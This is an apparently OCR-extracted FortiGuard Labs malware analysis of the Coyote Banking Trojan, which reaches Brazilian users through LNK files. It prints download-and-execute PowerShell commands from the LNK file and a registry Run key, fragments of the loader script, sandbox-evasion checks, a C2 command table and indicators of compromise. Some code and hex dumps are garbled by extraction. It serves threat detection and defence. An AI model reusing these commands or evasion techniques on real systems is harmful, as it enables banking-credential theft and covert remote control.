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Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: Controls victim’s device and collects sensitive information

Severity Level: High

Over the past month, FortiGuard Labs has identified several similar LNK files containing PowerShell commands designed
to execute malicious scripts and connect to remote servers. These files are part of multi-stage operations that ultimately
deliver the Coyote Banking Trojan. This malware primarily targets users in Brazil, seeking to harvest sensitive information
from over 70 financial applications and numerous websites. Once deployed, the Coyote Banking Trojan can carry out
various malicious activities, including keylogging, capturing screenshots, and displaying phishing overlays to steal sensitive

credentials. In this article, we will detail the behavior of each stage.

e

Figure 1: Telemetry
LNK File

The LNK file executes the following PowerShell command, which connects to a remote server to initiate the next stage: -w
hid -noni -ep Bypass -c “Start-Job -Name PSSGR -ScriptBlock { IEX (iwr -Uri
‘hxxps://tbet[.]geontrigame[.Jcom/zxchzzmism’ -UseBasicParsing).Content }; Start-Sleep 131.”

Terminal Security Details Previous Versions
General Shortcut Options Font Layout Colors

?! ZJECEIFWLT pdf Ink

Target type: Application
Target location: v1.0

Target: [ ' -UseBasicParsing) Content }: Start-Slee

’ Start in: F::\Wndows\system 32 l

Figure 2: LNK file

We analyzed multiple malicious files by examining the “Machine ID” embedded within the LNK files. This unique identifier

provides critical insights into the system where the LNK file originated. By extracting and analyzing this metadata, we
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traced connections to other malicious LNK files associated with Coyote.

URLs in Arguments Machine ID MAC Address

hxxps://tbet.geontrigame[.]Jcom/zxchzzmism 0cb44b707681 aa:1c:b2:83:1d:72
hxxps://hrod.geontrigame[.Jcom/edsfluzevj a8025a01fc56 £5:12:59:16:ba:f7
hxxps://easi.geontrigame[.]com/wydqfchssb aB8025a01fc56 £5:12:59:16:ba:f7
hxxps://iivi.geontrigame[.]Jcom/zkrghotqvy a8025a01fc56 £5:12:59:16:ba:f7
hxxps://cuzo.geontrigamel[.]Jcom/pxylqhpuiv a8025a01fc56 £5:12:59:16:ba:f7
hxxps://btee.geontrigame[.Jcom/mvkrouhawm dcObfa46899d e8:a5:d6:6a:57:02
hxxps://gmnw.daowsistem[.]com/fayikyeund dcObfa46899d e8:a5:d6:6a:57:02
hxxps://bhju.daowsistem[.]Jcom/iwywybzqxk dcObfa46899d e8:a5:d6:6a:57:02
hxxps://1gfd.daowsistem[.]Jcom/riqojhyvnr dcObfa46899d e8:a5:d6:6a:57:02
hxxps://leme.daowsistem[.]Jcom/omzowcicwp dcObfa46899d e8:a5:d6:6a:57:02
hxxps://igow.scortmal.]Jcom/fqieghffbm dcObfa46899d e8:a5:d6:6a:57:02
hxxps://quit.scortmal.]com/xzcpnnfhxi dcObfa46899d e8:a5:d6:6a:57:02
hxxps://llue.geontrigamel.Jcom/byyyfydxyft dcObfa46899d e8:a5:d6:6a:57:02
hxxps://cxmp.scortma[.]Jcom/qfutdbtqqu dcObfa46899d e8:a5:d6:6a:57:02
hxxps://xrxw.scortmal.]Jcom/gmdroacyvi dcObfa46899d e8:a5:d6:6a:57:02
hxxps://qfab.geontrigame[.]com/vfofnzihsm dcObfa46899d e8:a5:d6:6a:57:02

The content in “zxchzzmism” is an additional PowerShell script that holds two encoded data segments. This script employs

specific commands to decode and execute the embedded shellcode, initiating the next phase of the malicious operation.
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function YZAXG {
param([int[]]$tORPN, [int]$VKXJo) $r=New-Object byte[] $tORPN.Length;
for($i-0;%$i -1t $tORPN.Length;$i++){$r[$i]=[byte]([math]::Floor($tORP | /$VKXJo
$r

$bmwiMc = [int[]]( ;158 344,0,528,0,0,0,
$bmwiMcDec = YZAXG -tORPN $bmwiMc -VKXJo
$npuG = [int[] ,36096,21620,0,0 -7, .0,21244,

$npuGDec = YZAXG -tORPN $npuG -VKXJo 188
[System.AppDomain]: :CurrentDomain. Load([Byte[ ] |$bmwiMcDec) .GetType
.Ge ho i ( .Invoke($null, [Obj [1]1("GXsDR

CX

3yte[ ] | $npuGDec
Figure 3: PowerShell script

Loader and Shellcode

The “bmwiMcDec” DLL file functions as a loader, utilizing Virtual AllocEx and WriteProcessMemory to inject the
“npuGDec” payload. It then employs CreateRemoteThread to execute the injected malicious code, facilitating the

continuation of the attack.

intPtr3 =
(process_INFORMATION.N
(1.0.0.0) ; , @U, intPtr,
: intPtr2);
(!(intPtr3 ==

num;

(

num))
(num != 259U)

bcess processById =
Pr . ((int)
process_INFORMATION.

(!processBylId.

processById.Kill();

(intPtr3);

Figure 4: MSIL loader

The injected code leverages Donut, a tool designed to decrypt and execute the final MSIL (Microsoft Intermediate

Language) payloads. This ensures seamless delivery and execution of the attack’s next stage.
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~ OF85 28FFFFFF jne mms_output.AEFDDF
S5F pop edi
SE pop esi
5D pop ebp
58 pop ebx
83c4 14 add esp,14
€3 |ret
83ec 14 sub esp,l4
RrR4c?24 1R mov ecx dword ntr cs<-PecnaRA

.TeXt:00AEFEBE mms_output.exe: $1IDFEBE #1DF2BE

@oump1 WWoump2  @HDump3  @W0ump4  PHDumpSs @ watchi  Ixellocals 7 Stuct

Address Hex ASCIT

00E11260 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 O0|....cvvvuvuunnns
0011270 00 00 00 00 (00 00 00 00|00 00 00 O0{00 00 00 00| ...cvvvueuuunens
00E11280 00 00 00 00 (00 AC 1D 00 4D 5A 90 00{03 00 00 00f..... T e Mz e
00E11290 04 00 00 OO0 |FF FF 00 00 /B8 00 00 00 /00 Q0 00 00|....¥¥.o,cuuuunn
00E112A0 40 00 00 00 (00 00 00 00|00 00 00 00 /00 00 00 00|@......cvvuuvnns
00E112B0 00 00 00 00 (00 00 00 00|00 00 00 0000 00 Q0 QOf.........00vnnnn
00El12cO 00 00 00 00 (80 00 00 O0|OE 1F BAOE|OOB4 09 CD|.......... Pl ¢
00E112D0 21 B8 01 4c|cD 21 54 68 |69 73 20 70|72 6F 67 72|!,.LI!This progr
00E112EQ 61 6D 20 63 |61 6E 6E 6F |74 20 62 65|20 72 75 6E am cannot be run
00E112FO0 20 69 6E 20|44 4F 53 20 6D 6F 64 65 |2E OD 0D OA| in DOS mode....
00E11300

00E11310

0011320

00E11330

00E11340

00E11350

00E11360

00E11370 "I NVNT)4dnZ

00E11380 e ;")

(@);

LWePzzI2b3PYwaUY94xv 1r
( 3

Figure 5: Decrypt and get the MSIL file

The decrypted MSIL execution file first establishes persistence by modifying the registry at
“HCKU\Software\Microsoft\Windows\CurrentVersion\Run.” It checks for any existing PowerShell command in this registry
entry. If found, it removes the existing entry and creates a new one with a randomly generated name. This new registry entry
contains a customized PowerShell command pointing to download and execute a Base64-encoded URL, which facilitates
the main functions of the Coyote Banking Trojan. The targeted URL for this operation is

“hxxps://yezh[.]geontrigame[.]Jcom/vxewhcacbfqnsw.”

Computer\HKEY CURRENT USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

ContentDeliveryManager A H Name
Edit String X
eAutol
Value name:
bnnmwngyc I
Value data: F

|powershel| -w hid -noni -ep Bypass ¢ "$w=New-Object Net.WebCliem;S',J=[|

Cancel

~ bilafreariatiane L

Figure 6: Registry's setting

If the victim is the new target, it gathers basic system information, such as the machine name, username, and operating
system, and sends it to a remote server. It also identifies installed antivirus products by querying the SecurityCenter2

namespace in Windows Management Instrumentation (WMI). The collected data is then concatenated with a

“|” separator,
encoded in Base64, and the resulting string is reversed. This processed string is appended as a parameter and sent back to the
remote server as follows: “hxxps://yezh[.]geontrigame[.]com/hqizjs/?

1=y4CMuADfvJHUgATMgM3dvRmbpdFI0Z2bz9mcjIWT8IXZk5WZmVGRgM3dvRmbpdFfzlmcoNEfOIDROUI(omit).”
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machineName =

userName = - -

osfullName = ¢ ComputerInfo().
; nhItez69YkHdmSxRW =

machineName,
userName,
CGEL Ki (
osfullName,

t webClient )Client())

= SecurityProtocolType.|

» address = by

if (UQvjlac6ZcpR7@Lp8kkI7L5 != C solde.ActionWebService.
¥

(UQvjlac6ZcpR70Lp8kk97L5 == CGEuGolde.ActionWebService.
address =

11RVGdCVThz

(nhItez69YkHdm5xRw)

Figure 7: Send system's information

After setting and checking in, it calls “CreateProcess” to execute the PowerShell command that was added into the registry
to invoke the payload:

powershell -w hid -noni -ep Bypass -c¢ “$w=New-Object Net. WebClient;$u=
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHROcHM6Ly95Z XpoLmdIb250cmInYW1ILmNvbS92eGV3aGNhY 2JmcW
$w.DownloadString($u).”

Coyote Banking Trojan

The payload “vxewhcacbfqnsw” is similar to the one downloaded from the LNK file but is noticeably larger. This increase

in size is due to the inclusion of the main Coyote Baking Trojan.
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G () https://yezh.geontrigame.com/vxewhca... @& A 7 T e ﬁ

>

function Imtw { param([int[]]$pfbu, [int]$MCUG) $r=New- )
Object byte[] $pfbu.Length;for($i=0;%$i -1t
$pfbu.Length;$i++){$r[$i]=[byte]
([math]::Floor($pfbu[$i]/$MCUG))};%r }
$MsSrhc = [int[]]
(14553,17010,27216,0,567,0,0,0,756,0,0,0,48195,481
4776,0,0,0,0,0,0,0,12896,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24192,0,0,0, 2646,5859
,35154,2646,0,34020,1701,38745,6237,34776,189,14364,38745,
6237,15876,19656,19845,21735,6048,21168,21546,20979,19467,
21546,18333, 20601, 6048,18711,18333, 20790, 20790, 20979, 21924
,6048,18522,19089,6048,21546,22113,208790,6048,19845, 208790,
6048,12852,14931,15687, 6048, 20601 ,20979,18900, 19089, 8694, 2
457,2457,189%90,6804,0,0,0,0,0,0,0,15120,
13041,0,0,14364,189,567,0,30051,22680,39312,38745,0,0,0,0,
0,0,0,0,42336,0,6426,6048,2079,189,9072,0,0,9450,0,0,0,113
4,0,0,0,0,0,0,12474,15120,0,0,0,6048,0,0,0,18144,0,0,0,0,0

2

,48195,48195,0,0,3
<) <]

Figure 8: PowerShell script
We obtained the MSIL file after decrypting the payload from the Donut shellcode. It contained the following functions:

e Username Checking: It examines the username to see if any of the following test/sandbox names are present:
Johnson, Miller, malware, maltest, CurrentUser, Sandbox, virus, John Doe, test user, sand box,
WDAGUtilityAccount, Bruno, George, and Harry Johnson.

e Virtual Management Tool Checking: It examines whether the environment contains files or folders related to virtual
machines. It checks for strings in the directory “C:\Windows\System32” such as gemu-ga, gemuwmi, balloon.sys,
netkvm.sys, vioinput, viofs.sys, and vioser.sys.

¢ Build Targeting List: In this version, Coyote expands its target list to include 1,030 sites and 73 financial agents,
including mercadobitcoin.com.br, bitcointrade.com.br, foxbit.com.br, augustoshotel.com.br,

blumenhotelboutique.com.br, and fallshotel.com.br. It then starts monitoring the active window.
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tF()

new List<string>();
(Encoding.
BfgozI2ma. .Add(Encoding.
BfgozI2m4. (Encoding.
‘ (Encoding.
(Encoding.
Encoding.
Encoding.

Encoc

(
(
(Encoding.
(

Value

Count = 0x00000406
“101hotels.com"
"155hotel.com.br’
"1hotels.com"
"25hours-hotels.com”
"abbahotel.com.br’
"accor-hotels.com"
"accorhotells.com”
"acomodarehotel.com.br"
"acorespremiumhotel.com.br"
"acquabellahotel.com.br"
"adalyahotels.com”
"adorohotel.com.br"

"adrenalinahotel.com.br"

flag
(text3 i
feo www.desbravador.com.br
flag
(text3
flag
(text3
flag
(text3
flag

(flag)

» x509Certif

'H

Figure 10: Connect to server
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¢ Communicate with C2: Coyote continuously monitors the active window to detect if the victim attempts to access

any target sites. If a target site is accessed, it contacts the C2 server via port 443. The server list includes

geraatualiza[.]Jcom, masterdow[.]Jcom, and geraupdate[.]Jcom. Coyote reads a message from a remote server,

processes it by decoding and cleaning the data, and prepares it for further actions based on the length of the first

string in the message.

Length

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

Description

Disconnect from server

Terminate program

Take screenshot as image/jpeg

Get a window's title bar text

Activate a window and restore it to its original size

Minimize a window

Activate a window and restore it to its normal size then display it as a maximized window

Kill targeted process

Show full-screen overlay

Restore a window and then maximize it

Remove the window handle

Shut down the device

Enable the Desktop Window Manager composition feature then shut down the device

Click mouse at a specific screen position

Copy a string to the clipboard and then simulate typing that string

Send the specified keys to the active application. If a key contains a ‘+,” it is sent as an

uppercase character; otherwise, it is sent as a lowercase character.
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26

27

28

29

30

31

32

33

34

35

Conclusion
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Disable DWM composition

Display the fake image for a specific target with a message. For example: “Trabalhando nas
atualiza” (Working on updates), “Aponte a camera para a imagem a seguir” (Point the camera

at the following image)

Cleanup, unhook, and stop current monitoring

Control user-visible windows, close the window

Adjust the opacity

Enable keylogger or send the keylogger’s result with separator ‘%’

N/A

Simulate key presses to perform automated navigation actions: {UP}, {RIGHT}, {DOWN},
and {LEFT}

Manipulate display settings

Send the given keys

Coyote's infection process is complex and multi-staged. This attack leveraged an LNK file for initial access, which

subsequently led to the discovery of other malicious files. This Trojan poses a significant threat to financial cybersecurity,

particularly because it has the potential to expand beyond its initial targets. Consequently, it highlights the critical need for

robust security measures for both individuals and institutions to safeguard against evolving cyber threats.

e
= Y-

Loader Donut
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Figure 11: Attack chain

Fortinet Protections

The malware described in this report is detected and blocked by FortiGuard Antivirus as:
LNK/Agent.D!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine

is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.
The FortiGuard Web Filtering Service blocks the C2 server.

We also suggest that organizations go through Fortinet’s free cybersecurity training module: Fortinet Certified Fundamentals
(ECEF) in Cybersecurity. This module is designed to help end users learn how to identify and protect themselves from

phishing attacks.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard

Incident Response Team.

I0Cs

URLs

hxxps://btee[.]geontrigame[.]Jcom/mvkrouhawm
jxxps://qmnw][.]daowsistem[.]Jcom/fayikyeund
hxxps://bhju[.]daowsistem[.]com/iwywybzqxk
hxxps://1gfd[.]Jdaowsistem[.]Jcom/riqojhyvnr
hxxps://leme[.]Jdaowsistem[.]Jcom/omzowcicwp
hxxps://igow[.]scortmal.]com/fqieghffbm
hxxps://quit[.]scortma[.Jcom/xzcpnnfhxi
hxxps://llue[.]geontrigame[.Jcom/byyyfydxyf
hxxps://cxmpl.]scortmal[.]Jcom/qfutdbtqqu
hxxps://xrxwl[.]scortma[.]Jcom/gmdroacyvi
hxxps://qfab[.]geontrigame[.]Jcom/vfofnzihsm
hxxps://tbet[.]geontrigame[.]Jcom/zxchzzmism

hxxps://yezh[.]geontrigame[.]Jcom/vxewhcacbfgnsw

Hosts

geraatualiza[.]Jcom
masterdow[.]Jcom

geraupdate[.Jcom

Files

362af8118f437f9139556c59437544ae1489376dc4118027c24c8d5ce4d84e48
330dffe834ebbe4042747bbe00b4575629ba8f2507bccf746763cacf63d655bb
33cba89eeeaf139a798b7fa07{f6919dd0c4c6cf4106b659e4e56f15b5809287
552d53f473096¢55a3937¢8512a06863133a97c3478ad6b1535e1976d1e0d45f
64209e2348e6d503ee518459d0487d636639fa5e5298d28093a5ad41390ef6b0
67f371a683b2be4c8002f89492cd29d96dceabdbfd36641a27be761ee64605b1
73ad6be67691b65cee251d098f2541eef3cab2853ad509dac72d8eff5bd85bcO
7cbfbce482071c6df823f09d83c6868d0b1208e8ceb70147b64c52bb8b48bdb8
839de445£714a32£36670b590eba7fc68b1115b885ac8d689d7b344189521012
bea4f753707eba4088e8a51818d9de8e9ad0138495338402f05c5¢7a800695a6
£3c37b1de5983b30b9ae70c525f97727a56d3874533db1a6e3dc1355bfbf37ec
fd0ef425d34b56d0bc08bd93e6ecb11541bd834b9d4d417187373b17055c862e
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https://www.fortinet.com/support/support-services/fortiguard-security-subscriptions/antivirus?utm_content=blog-link-fglabs-threat-research
https://www.fortinet.com/support/support-services/fortiguard-security-subscriptions/web-filtering?utm_content=blog-link-fglabs-threat-research
https://training.fortinet.com/local/staticpage/view.php?page=fcf_cybersecurity
https://training.fortinet.com/local/staticpage/view.php?page=fcf_cybersecurity
https://www.fortinet.com/solutions/enterprise-midsize-business/security-as-a-service/respond?utm_content=blog-link-fglabs-threat-research#experiencing-an-incident
https://www.fortinet.com/solutions/enterprise-midsize-business/security-as-a-service/respond?utm_content=blog-link-fglabs-threat-research#experiencing-an-incident

https://www.fortinet.com /blog/threat-research/coyote-banking-trojan-a-stealthy-attack-via-Ink-files

Source: https://www.fortinet.com/blog/threat-research/coyote-banking-trojan-a-stealthy-attack-via-Ink-files
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